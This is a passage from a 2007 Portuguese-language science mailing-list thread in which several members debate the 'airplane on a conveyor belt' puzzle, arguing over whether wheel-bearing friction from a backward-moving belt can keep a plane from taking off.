Assim que o avião inicia seu movimento, as rodas começam a girar, e a esteira também. Mas, as rodas NÃO estão ligadas ao avião, pelo menos no sentido de vetores de forças. Elas existem JUSTAMENTE para atenuar ou eliminar os vetores de forças de atrito entre o avião e o solo.

Vamos mudar de novo de experimento. Se colocarmos um carrinho de brinquedo, com rolamentos de atrito zero (ou desprezivel) nas rodas, sobre uma esteira de aeroporto, o que acontece? Se a esteira está parada, ele fica parado, se a esteira se move para trás, ELE FICA PARADO, se se move para frente ELE FICA PARADO.

Isso é contra-intuitivo, e provoca boa parte do problema e do erro de avaliação, mas é por isso que é possível retirar a toalha de uma mesa de restaurante SEM derrubar os copos e pratos (se você for hábil e rápido..:-).

Takata "Considere um aviao sem asa. Ele *nunca* irah decolar, por mais helices
propulsoras (nao estou falando de rotores de helicopteros - asas
rotatorias) q tenha. Ele irah apenas para a frente. "

Vou procurar no histórico da lista, e encontrar a mensagem onde você também chea a conclusão que estava errado quanto a isso..:-)

Veja, sem asas, um automóvel com rolamentos de atrito zero, ele irá "para frente". Ou seja, o que move um avião é outra coisa, que não as rodas, hélices e jatos. Se a hélice produz empuxo, ele se move, e se move rápido, não para "compensar" a esteira, mas em relação ao ar, e ao solo (abaixo da esteira), sem se incomodar com rodas ou a esteira. O mesmo para um carro foguete no gelo, ele se move, não importa se o gelo abaixo dele está parado, se movendo para frente ou para tras. É irrelevante, para as forças em questão.

Mais um exemplo, se a velocidade da esteira fosse capaz de "vencer" o empuxo das hélices, isso significaria que, para manter um avião ou carro "parado" sobre uma esteira que gira sob as rodas, seria necessário ENORME esforço, ENORME força.

Mas não é. Não importa se a esteira se move a 10 ou 100 km/h, um carro de brinquedo sobre a esteira do aeroporto, exige um mínimo esforço para ser mantido parado, um dedo da mão ligeiramente escostado basta, e isso apenas porque os rolamentos não são de atrito zero. Se fossem, nem isso seria necessário, o carrinho ficaria parado, enquanto as rodas se moveriam rapidamente, sem mover o carro.

Ou seja. Se o carro está "parado" sobre a esteira que se move a 100 km/h, basta um "cutucão" com o dedo para move-lo para frente. E se basta um "cutucão" com o dedo, para o carro, basta ligar as hélices de um aeromodelo, que ele se moverá para frente (ainda que as rodas tenham de girar mais rápido ainda) e decolará normalmente.

Takata: "Pra um aviao decolar, a componente vertical para cima da resultante
sobre a aeronave tem q ser maior do q sua forca peso."

Sim, mas isso NADA tem a ver com as rodas e a esteira, que não contam nessa equação para decolar. O que conta é apenas a velocidade do avião em relação ao ar, e as forças que o movem, no caso, hélices e jatos. As rodas, repito, são equipamentos para "desligar" o avião do resto do sistema, como esquis de gelo. Eu poderia usar o exemplo de um hidro-avião, mas o hidroavião sofre "ENORME atrito com a água que passa sob seus flutuadores. Se a água NÃO apresentasse atrito, o avião NÃO se moveria para tras na corrente do rio, e bastaria o esforço dos motores normal para decolar.

Takata: "Podemos substituir a esteira por uma corrente presa 'a parte posterior
da aeronave. Eh possivel se testar com aeromodelos."

Acho que não entendi o exemplo. De toda forma, uma corrente PRESA não é o mesmo que rodas sobre uma esteira. Rodas são para DESLIGAR o avião das forças do solo, não para prender, como a corrente.

A corrente presa, digamos, a cauda do avião, não é o mesmo que a esteira. A corrente está FIRMEMENTE ligada a cauda, enquanto a esteira está totalmente desligada do avião devido aos dispositivos criados justamente para isso, as rodas. Apenas o atrito, mínimo, dos rolamentos, liga o avião a esteira.

E, lembre-se, a esteria SÓ se move, SE as rodas se moverem, e as rodas SÓ se movem, SE o avião se mover. E SE o avião se mover, em relação ao ar, ele decola.

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Ricardo - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 15:25

Olá Ricardo

Ricardo: "Na verdade eu defendo (estou errado denovo????) que o avião realmente se
move. E só assim ele consegue voar. Então prendê-lo não seria equivalente.

Mas o Homero me convenceu fácil. Talvez você me convença também. Já estou me
achando muito influenciável :)"

Na verdade, você não é influenciável, você pensa, o que é sempre ótimo..:-) E não desista, você (e eu) está certo e seus exemplos, excelentes. Logo, logo, o Takata vai concordar conosco, quando conseguir ignorar o atrito como vetor na equação.

Acho que o ponto de virada deve vir de seu, excelente, exmeplo sobre o atrito nas rodas dobrar com a duplicação da velocidade. Eu gostaria de ter pensado nisso..:-)

Realmente, se tudo que a esteira pode fazer, em relação a forças exercidas no avião, é equivalente a dobrar o atrito nos rolamentos, como esperar que seja o suficiente para contrabalançar o empuxo das turbinas ou hélices de um avião real?

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 15:52

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> A esteira exerce pouca força para trás, só referente ao atrito do
> girar da roda, enquanto a turbina. Como no problema proposto o
> enunciado deixa claro que a esteira se move sempre na mesma
> velocidade que o avião, mas em sentido oposto, não vai gerar força
> de atrito suficiente para compensar a turbina.

Considere uma esteira infinita. O aviao estah com sua helice (ou
turbina) desligada. A esteira rola para tras a uma velocidade de 10
m/s (em relacao a um ponto fixo no solo). A q velocidade o aviao irah
se deslocar (em relacao ao mm ponto fixo no solo)? Considere agora q a
esteira rola para tras a uma velocidade de 100 m/s. A q velocidade o
aviao irah se deslocar (em relacao ao mm ponto fixo no solo)?

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 16:12

Olá Takata

Takata: "Considere uma esteira infinita. O aviao estah com sua helice (ou
turbina) desligada. A esteira rola para tras a uma velocidade de 10
m/s (em relacao a um ponto fixo no solo). A q velocidade o aviao irah
se deslocar (em relacao ao mm ponto fixo no solo)? Considere agora q a
esteira rola para tras a uma velocidade de 100 m/s. A q velocidade o
aviao irah se deslocar (em relacao ao mm ponto fixo no solo)?"

Isso é irrelevante, Takata. Não totalmente irrelevante, mas irrelevante NESTE caso, pois está criando condições que NÃO estão presentes no experimento. Se a esteira é infinita, e rola PARA TRAS a 10 por hora, o avião, caso as rodas tenham atrito zero, FICA PARADO. E fica PARADO caso a esteira role a 10, 100 ou um milhão de km/h!

O avião SÓ avança com a esteira SE o atrito for suficiente para NÃO mover as rodas (em tornod e si mesmas, anulando a força aplicada), e se a esteira começar a rolar bem devagar, impulsionando o avião bem lentamente, com esse atrito nos rolamentos. E o avião do experimento está PARADO e a esteira está PARADA. E esta SÓ SE MOVE quando as rodas se movem, e estas SÓ SE MOVEM quando o avião se move.

Um avião a 10 m/s em relação ao solo, se movendo para tras, é algo TOTALMENTE independente do solo abaixo dele. Explicando melhor, tanto faz se o avião está se movendo a 10 m/s sobre uma esteira, sobre o gelo (deslizando) ou sobre colchões de ar. É o movimento já existente que tem de ser compensado pelas hélices ou turbinas, não a esteira ou seu movimento!

Neste caso, o avião está PARADO. Nenhum movimento precisa ser compensado, e não precisa MESMO QUE AS RODAS ESTEJAM GIRANDO. Esqueça a esteira, pense em um avião com rodas que tem um motor que as gira "para trás" a velocidade de 10 k/h. SE o solo for comum, o avião anda apra trás.

Mas, se estas rodas estiverem SOBRE o gelo, sem atrito, as rodas podem girar a velocidades incríveis, e o avião fica no lugar. Mais que isso, se ligar as hélices, vai avançar e decolar, normalmetne, MESMO que as rodas continuem a girar para tras, a altas velocidades.

A esteira é apenas uma forma de girar as rodas para tras, e as rodas são apenas um sistema de eliminar o atrito do avião com o solo, se "criar gelo" sem precisar do gelo!

Vamos tentar mais um experimento mental. Um avião voa, a velocidade de cruzeiro, bem rente ao solo. Digamos, 200 km/h. Abaiso dele há apenas solo fixo, e ele abaixa as rodas. O que acontece quando estas tocam o solo, considerando atrito desprezivel ou inexistente? Acontece que as rodas, como um excelente dispositivo de eliminar atrito, começam a girar a 200 km/h, sem interferir em nada na velocidade do avião ou em seu voo (por isso jumbos tem de "frear" violentamente, com flaps e freios nas rodas, e reverso dos motores, etc, mesmo depois de tocar o solo).

Agora, trocamos o solo fixo por uma esteira que, digamos, rola para frente a 200 km/h (para frente, não para tras). O que acontece agora quando as rodas tocam a esteira? Nada, as rodas ficam paradas, sobre a esteira, sem interferir em nada no voo do avião ou em sua velocidade.

Agora, o avião voa sobre uma esteira que se move PARA TRAS a 200 km/h. O que acontece com as rodas, quando tocam a esteira? O mesmo que no primeiro caso, elas começam a girar a 400 km/h! Compensando o giro da esteira e a velocidade do avião de forma a manter isoladas as forças, e intocado o voo e a velocidade do avião!!

E se isso acontece, com o avião em voo, é evidente que acontece com o avião no solo, se consideramos o atrito desprezivel ou inexistente (e ele é desprezivel, como demonstrou o Ricardo).

Mesmo no mundo real, as rodas do avião teriam apenas que se mover na velocidade de compensação, sendo que as hélices ou jatos fariam apenas um pequeno, mínimo, esforço para compensar o atrito dobrado dos rolamentos, mas nada mais.

Acho que deveriamos guardar esse debate, as mensagens, em um arquivo, para posterior consulta, pois tenho certeza de que ele vai acabar voltando mais para frente.

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 16:20

From: "rmtakata" <roberto.takata@bol.com.br>
> Considere uma esteira infinita. O aviao estah com sua helice (ou
> turbina) desligada. A esteira rola para tras a uma velocidade de 10
> m/s (em relacao a um ponto fixo no solo). A q velocidade o aviao irah
> se deslocar (em relacao ao mm ponto fixo no solo)?

> Considere agora q a
> esteira rola para tras a uma velocidade de 100 m/s. A q velocidade o
> aviao irah se deslocar (em relacao ao mm ponto fixo no solo)?

Se consideramos o atrito do "rolamento" (ou equivalente) presente na roda
como desprezível, ele permanecerá parado nos dois casos, correto?

Concorda comigo neste ponto?

Se considerarmos o atrito do "rolamento", temos que calcular a força neste
processo, que depende de dados que não dispomos. Mas imaginando que temos o
equivalente a um "potenciômetro de coeficiente de atrito" hipotético, que
invento agora, que começa com atrito zero nos rolamentos e vai aumentando
gradual e continuamente conforme giramos o botão. Com a turbina ligada, eu
imagino que o avião andará como se não existisse esteira (como se estivesse
em um colchão de ar). Conforme vamos girando o botão a velocidade começa
gradativamente à diminuir, concorda? Se continuarmos girando vai chegar a um
ponto de equilíbrio, onde a velocidade do avião em relação ao chão será
zero. E se girarmosaté o final a roda trava e andamos na velocidade e
direção da esteira.

Para mim a questão e ver o quanto de atrito é necessário para parar o avião.
Mas no contexto da pergunta, se partirmos do pressuposto que ela foi bem
formulada, e não contém furos na elaboração, certamente não teríamos que
saber o peso do avião, o coeficiente de atrito do rolamento e empuxo gerado
pelo motor. Senão os dados teriam que estar presentes no enunciado. Então me
parece que este atrito foi considerado desprezível para o problema.

[]s Ricardo




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 16:36

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Isso é irrelevante, Takata. Não totalmente irrelevante, mas
> irrelevante NESTE caso, pois está criando condições que NÃO estão
> presentes no experimento.

Estou tentando uma abordagem equivalente. Espero q as conclusoes sejam
as mesmas.

> Se a esteira é infinita, e rola PARA TRAS a 10 por hora, o avião,
> caso as rodas tenham atrito zero, FICA PARADO. E fica PARADO caso a
> esteira role a 10, 100 ou um milhão de km/h!

Considere um atrito nao nulo - situacao menos idealizada nesta
situacao jah idealizada. O aviao irah adquirir a velocidade da esteira.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 16:54

> Considere agora q a esteira rola para tras a uma velocidade de 100 m/s.
> A q velocidade o aviao irah se deslocar (em relacao ao mm ponto fixo
> no solo)?

A pergunta é: quantos quilos o avião perde em uma hora nessa esteira, he he
he

[]s,
Ricardo


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Página de apoio
http://www.ciencialist.com


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Links do Yahoo! Grupos






SUBJECT: Re: Os perigos que espreitam no espaço por Jacqueline Garget
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 16:54

--- Em ciencialist@yahoogrupos.com.br, Erich Weick <erich_weick@...>
escreveu
>
> De uma outra lista do Yahoo Grupos.
>
> Observação: mensagem anexa encaminhada.

Eu leio na interface Web, e nela os anexos não são salvos. Ou seja,
não vi nada...

[]s
--
César A. K. Grossmann



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 16:57

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Se considerarmos o atrito do "rolamento", temos que calcular a força
> neste processo, que depende de dados que não dispomos.

Na verdade nao serah necessario. Havendo atrito a velocidade final do
aviao serah igual 'a da esteira. O maior ou menor atrito influirah
apenas em quao rapida ou lenta serah essa equivalencia.

Nessa nova condicao a unica forca resultante - vamos desconsiderar o
atrito com o ar - eh o atrito do aviao com a esteira. Uma resultante
nao-nula nos darah uma aceleracao. Essa aceleracao provocarah uma
diminuicao da velocidade do aviao ateh se igualar 'a da esteira. Maior
o atrito, maior a aceleracao e mais rapidamente as velocidades irao se
igualar; menor o atrito, menor a aceleracao e mais lentamente as
velocidades irao se igualar. Mas em qq caso, as velocidades finais
serao identicas.

[]s,

Roberto Takata



SUBJECT: Re: Os perigos que espreitam no espaço por Jacqueline Garget
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 16:58

--- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
> Eu leio na interface Web, e nela os anexos não são salvos. Ou seja,
> não vi nada...

Por motivo de seguranca a lista NAO redistribui anexos.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 17:18


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
>> Se considerarmos o atrito do "rolamento", temos que calcular a força
>> neste processo, que depende de dados que não dispomos.

From: "rmtakata" <roberto.takata@bol.com.br>
> Na verdade nao serah necessario. Havendo atrito a velocidade final do
> aviao serah igual 'a da esteira. O maior ou menor atrito influirah
> apenas em quao rapida ou lenta serah essa equivalencia.

É que na minha colocação eu estava pensando na turbina ligada. Eu disso mais
à frente no parágrafo, mas realmente não deixei claro.

Sem turbina, como na realidade você perguntou, concordo contigo sim. O avião
acaba na mesma velocidade que a esteira, inevitavelmente. Mas para o
problema proposto acho que realmente não
devemos considerar o atrito, para que o problema tenha coerência. Também, se
ele falasse que o atrito da rotação é desprezível, no enunciado, ele
entregava a pegadinha :)

[]s Ricardo






SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 17:19

Olá Takata

Takata: "Estou tentando uma abordagem equivalente. Espero q as conclusoes sejam as mesmas."

O problema é que não são condições equivalentes, mas bem diferentes. Em especial, a velocidade inicial do avião, que é fator que determina a força que sua propulsão deve gerar para move-lo. O avião, no experimento, NÃO está se movendo. E se estiver, todos concordam que será preciso primeiro vencer esse movimento para tras antes de decolar. Mas, é o movimento para tras, não as forças aplicadas pela esteira, que tem de ser vencido. A esteira, se se mover lentamente, pode acumular velocidade até deixar o avião bem rápido, mas APENAS se as rodas não se moverem ou se moverem pouco. Se a esteira se move, mas as rodas também (atrito zero), ela NÃO conseguirá mover o avião para trás.

Então, imagine isso, uma esteira que se move para trás a qualquer velocidade, mas um avião que, devido a seus rolamentos sem atrito, fica PARADO em relação ao solo. Nesse instante, quanta força é necessária para move-lo, digamos, apenas uns metros à frente? Parece claro que, indiferentemente a velocidade da esteira abaixo dele, será necessário a mesma força que seria se ele estivesse parado sobre o solo fixo, não?

Assim, a força necessária para fazer decolar esse avião, ainda é a mesma que seria se este estivesse parado no solo.

Takata: "Considere um atrito nao nulo - situacao menos idealizada nesta situacao jah idealizada. O aviao irah adquirir a velocidade da esteira."

Pois é esse o problema, mesmo que se considere que há algum atrito, capaz de mover o avião com a esteira, isso cessa no momento que a propulsão é ligada. O que a propulsão deve vencer, para decolar, não é o movimento da esteira, mas do próprio avião. Pense, se o avião cai em uma ladeira de gelo, é seu movimento para tras que a propulsão deve compensar, movimento JÁ existente no momento em que liga as turbinas, não a superfície de gelo, ou a esteira.

Ao ligar os motores, em força mínima, isso JÁ compensa o atrito, mínimo, dos rolamentos, e "desliga" o avião do solo, esteira ou não. Desliga, não no sentido de "voar", perder contato, mas de aplicação de força. Nesse momento, a esteira passa a ser irrelevante, o atrito que os rolamentos poderiam causar é anulado, e TODA força extra gerada vai ser aplicada no movimento do avião.

Assim, SE este JÁ estiver se movimento para tras, terá de vencer esse movimento antes de poder voar. Mas, mesmo nesse caso, se os motores estão ligados e algum empuxo é produzido, aumentar a velocidade da esteira É IRRELEVANTE, pois não vai modificar as forças em ação. Acelerar ou diminuir, em NADA modificará as forças, velocidades ou sustentação do avião em questão.

Mas no exemplo isso fica mais claro. O avião está parado, bem como a esteira. Ligar os motores vai produzir um empuxo, mínimo, que já anulará qualquer força aplicada por atrito pela esteire, Quanto mais o avião se mover, mais as rodas se movem, e mesmo que a esteira acompanhe a velocidade o avião (pois não pode, fisicametne, acompanhar as das rodas, que são o resultado de duas forças e não apenas da esteira), este já se "desligou" das forças que a esteira poderia aplicar nele.

Voará como voaria se estivesse em uma pista de gelo, com atrito zero.

Eu insisto, rodas são dispositivos para eliminar o atrito, e ao fazer isso, "desligam" as forças de empuxo ou resistência do solo com o objeto que possui rodas.

Pense em seu avião ligado a uma corrente, preso pela cauda, sobre uma esteira. Acelere a esteira, para frente agora, e veja quanta força é necessária apra manter o avião parado no lugar. Acelere mais, e, não importa a velocidade, a esteira nunca poderá tirar o avião ou quebrar a corrente, mesmo uma fraca corrente. Mesmo com o atrito dos rolamentos, até uma força pequena pode puxar o avião para tras, em direção a corrente.

Ou seja, mesmo que se considere o atrito real dos rolamentos, o empuxo do avião será mais que suficiente para move-lo até a velocidade de decolagem, não importa a que velocidade acelere a esteira.

Voltemos a esteira do aeroporto e a mala sobre ela, com rodinhas. Se a mala vem andando junto com a esteira, rapidamente, se tentar "parar" a mala terá de fazer grande força, e pode até não conseguir sem dar um passos para tras no impacto. Quanto mais rápida vier a mala sobre a esteira, mais força. Mas, o que está vencendo no processo NÃO é a esteira, mas o movimento da mala.

Pense na força que terá de fazer para parar a mala se esta vier sobre a esteira a 50 km/h. Mas, se a mala está parada sobre a esteira parada, e você a segura, com uma mão apenas, antes que esta comece a rodar, não importa que velocidade a esteira alcance, você manterá a mala parada apenas com sua mão, sem muito mais esforço que quando ela estava parada. Quanto menos atrito tiverem os rolamentos, menos força você fará, não importa que a esteira esteja a 50 km/h ou mais.

E se a mala está parada, sobr a esteira que anda para tras a 50 Km/h, ainda assim, se desejar mover a mala para frente, não fará mais força do que faria se a esteira estivesse parada. Se não houver atrito nos rolamentos, na verdade, fará exatamente o mesmo esforço para mover a mala para frente, com a esteira endoidecida abaixo a girar para tras, do que se a mala estivesse em solo fixo ou na esteira parada.

Assim, o avião fará o mesmo esforço para decolar, do que se estivesse em solo fixo.

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 17:36

Olá Takata

Takata: "Na verdade nao serah necessario. Havendo atrito a velocidade final do
aviao serah igual 'a da esteira. O maior ou menor atrito influirah
apenas em quao rapida ou lenta serah essa equivalencia."

Puxa vida Takata, eu admiro você como um dos mais inteligentes e capazes da lista, mas essa questão é pura teimosia, me parece. A velocidade final depdende totalmetne do atrito, de forma tão absoluta, que é a forma como freios de automóvel funcionam! Sem atrito, de nenhum tipo, automóveis não parariam, mesmo se estivessem em uma "esteira" que rodasse para tras a velocidades imensas.

Se o atrito é mínimo, desprezivel em relação, por exemplo, a inércia ou ao atrito cont´raio do ar, a esteira nem mesmo moverá o avião!!! Não adianta "mover a esteira bem devagarzinho", tentando minimizar o efeito da inércia ou do ar, não é isso que o experimento, a pergunta, exige. O avião, um avião comum, cujas hélices e jatos gera toneladas de empuxo, tem de contrabalançar apenas o atrito insignificante de rolamentos bem azeitados.

Sem atrito, nem haverá equivalência, agora ou em cem anos!

Com atrito, depdenderá das forças envolvidas, certamente, mas apenas teimosia poderia justificar a insistência em que um jato ou hélice seriam compensados por dois rolamentos de rodas.

A pergunta é clara: um avião, parado, sobre uma esteria, parada, liga as turbinas. Imediatamente isso gera um empuxo para frente, e ele começa a se mover. As rodas, em contato com o solo (mas não "ligadas" a ele em termos de forças aplicadas) começam a girar. A esteira, em resposta, gira no sentido contrário, dando MAIS velocidade de rotação as rodas, mas SEM NENHUM EFEITO SOBRE O AVIÃO.

Nem nesse momento, nem em nenhum outro, não importa se se movem a centenas de km/h. O avião vai decolar quando suas asas atingirem determinada velocidade em relação ao ar, digamos 200 km/h, não importa que a esteira gire para tras a 200 por hora e as rodas girem, para compensar, a 400 km/h.

Takata: "Nessa nova condicao a unica forca resultante - vamos desconsiderar o
atrito com o ar - eh o atrito do aviao com a esteira. Uma resultante
nao-nula nos darah uma aceleracao. Essa aceleracao provocarah uma
diminuicao da velocidade do aviao ateh se igualar 'a da esteira. Maior
o atrito, maior a aceleracao e mais rapidamente as velocidades irao se
igualar; menor o atrito, menor a aceleracao e mais lentamente as
velocidades irao se igualar. Mas em qq caso, as velocidades finais
serao identicas."

Isso simplesmetne não é verdade, é uma ilusão devida a forma como está "pensando" as forças envolvidas. Está "esperando" o avião ficar com movimento para tras bem rápido, antes de ligar sua propulsão. E, nesse caso, já concordamos que será preciso mais força, para compensar o movimento do avião, mas NÃO a da esteira. Que se torna irrelevante assim que as turbinas são ligadas, pela despropoção evidente de forças entre seu empuxo e o atrito que liga o avião a esteira (rolamentos azeitados).

A aceleração que a esteira pode gerar no avião, a partir de rolamentos das rodas bem azeitados, será de, digamos, 0,2 Kg de empuxo, e os jatos de um avião pequeno, digamos, 680 kg de empuxo. Como pensa que uma coisa pode compensar a outra? Como espera que a esteira, aplicando 0,2 Kg de empuxo para tras, afete o avião e suas turbinas, que geram 680Kg de empuxo???

SE o avião for levado a altas velocidades para tras, em uma esteira que leve um monte de tempo acelerando devagar, terá de fazer um esforço extra para decolar, compensando a velocidade contrária. Mas, se partir da imobilidade, e a esteira girar sob ele apenas, decolará sem nenhum problema.

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Paulo Marcelo Pontes" <pmarcelopontes@gmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 17:39

Pensando mais um pouco...

Imaginemos que a esteira se locomove para a frente. Em frente à esteira há uma rampa. Se a esteira se mover muito rápido e parar de repente, o avião seria catapultado? Talvez assim ou uma variação disso tornasse possível o vôo. Claro que são apenas especulações...

Abraços,

PAULO MARCELO



----- Original Message -----
From: Ricardo
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 26, 2007 5:18 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira



--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
>> Se considerarmos o atrito do "rolamento", temos que calcular a força
>> neste processo, que depende de dados que não dispomos.

From: "rmtakata" <roberto.takata@bol.com.br>
> Na verdade nao serah necessario. Havendo atrito a velocidade final do
> aviao serah igual 'a da esteira. O maior ou menor atrito influirah
> apenas em quao rapida ou lenta serah essa equivalencia.

É que na minha colocação eu estava pensando na turbina ligada. Eu disso mais
à frente no parágrafo, mas realmente não deixei claro.

Sem turbina, como na realidade você perguntou, concordo contigo sim. O avião
acaba na mesma velocidade que a esteira, inevitavelmente. Mas para o
problema proposto acho que realmente não
devemos considerar o atrito, para que o problema tenha coerência. Também, se
ele falasse que o atrito da rotação é desprezível, no enunciado, ele
entregava a pegadinha :)

[]s Ricardo





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 17:39

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Takata: "Considere um atrito nao nulo - situacao menos idealizada
> nesta situacao jah idealizada. O aviao irah adquirir a velocidade da
> esteira."
>
> Pois é esse o problema, mesmo que se considere que há algum atrito,
> capaz de mover o avião com a esteira, isso cessa no momento que a
> propulsão é ligada. O que a propulsão deve vencer, para decolar, não
> é o movimento da esteira, mas do próprio avião.

Vamos, primeiro, continuar nesta linha. A helice estah desligada. A
esteira rola para tras a 10 m/s (em relacao a um ponto fixo no solo).
Qual a velocidade do aviao?

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 17:42

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> É que na minha colocação eu estava pensando na turbina ligada.

Vamos ligah-la depois.

A esteira estah rolando para tras a 500 m/s. Qual a velocidade do
aviao - com as helices (ou turbinas) desligadas -?

[]s,

Roberto Takata



SUBJECT: P/ Ricardo - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 17:46

Olá Ricardo

Ricardo: "Sem turbina, como na realidade você perguntou, concordo contigo sim. O avião
acaba na mesma velocidade que a esteira, inevitavelmente. Mas para o
problema proposto acho que realmente não
devemos considerar o atrito, para que o problema tenha coerência. Também, se
ele falasse que o atrito da rotação é desprezível, no enunciado, ele
entregava a pegadinha :)"

Na verdade, podemos considerar normalmente o atrito, dado que o enunciado define como condição inicial que ambos, avião e esteira, estão parados. E, só faz sentido ser uma ESTEIRA se a questão do atrito for irrelevante ou desprezivel. É evidente que, em condições reais, existe algum atrito entre os rolamentos da roda, que poderia ser utilizado para uma esteira que pretendesse levar o avião para tras. Mas isso seria mais fácil se amarrassemos o avião na esteira.

Se não amarramos, se deixamos as rodas girarem, e a esteira rolar para tras, estamos pensando na função básica da roda, desconectar um objeto em movimento de outro. E se ele faz isso, é irrelevante a velocidade com que a esteria se movo, com ou sem atrito, pois o avião vai decolar sem problemas, pois vai se mover para frente sem problemas.

Seria um problema se o atrito fosse tão grande que as rodas perderiam sua função básica. Se o avião, por exemplo, estivesse sobre a esteira sem rodas.

Mas, de volta ao enunciado, ele tem rodas, que giram livres, tem propulsor, que o move para frente (se não se mover, as rodas NÃO giram, e a esteira NÃO rola para tras), e assim que liga os propulsores, com força mínima, desliga a influência da esteira.

Essa poderia ser a pergunta, o enunciado, de outro problema: se um avião liga suas turbinas, no mínimo, sobre uma esteira, e logo em seguida ela começa a rolar para tras, o que acontece ao avião? A resposta é, ele fica parado, em relação ao chão, pois a esteira, pelo atrito dos rolamentos, não consegue move-lo com ela, não importa se está a 10 ou 200 km/h.

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 17:47



Takata: "Nessa nova condicao a unica forca resultante - vamos desconsiderar
o
atrito com o ar - eh o atrito do aviao com a esteira. Uma resultante
nao-nula nos darah uma aceleracao. Essa aceleracao provocarah uma
diminuicao da velocidade do aviao ateh se igualar 'a da esteira. Maior
o atrito, maior a aceleracao e mais rapidamente as velocidades irao se
igualar; menor o atrito, menor a aceleracao e mais lentamente as
velocidades irao se igualar. Mas em qq caso, as velocidades finais
serao identicas."

Homero: Isso simplesmetne não é verdade, é uma ilusão devida a forma como
está "pensando" as forças envolvidas. Está "esperando" o avião ficar com
movimento para tras bem rápido, antes de ligar sua propulsão. E, nesse caso,
já concordamos que será preciso mais força, para compensar o movimento do
avião, mas NÃO a da esteira. Que se torna irrelevante assim que as turbinas
são ligadas, pela despropoção evidente de forças entre seu empuxo e o atrito
que liga o avião a esteira (rolamentos azeitados).


Ricardo: Homero, essa colocação do Takata foi em relação à pergunta que ele
fez, onde o motor do avião estaria desligado. Acho que ele já concordou com
a gente, mas só está querendo ver outros ângulos do problema... certo
Takata?

[]s Ricardo




SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 17:52



--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
>> É que na minha colocação eu estava pensando na turbina ligada.

From: "rmtakata" <roberto.takata@bol.com.br>
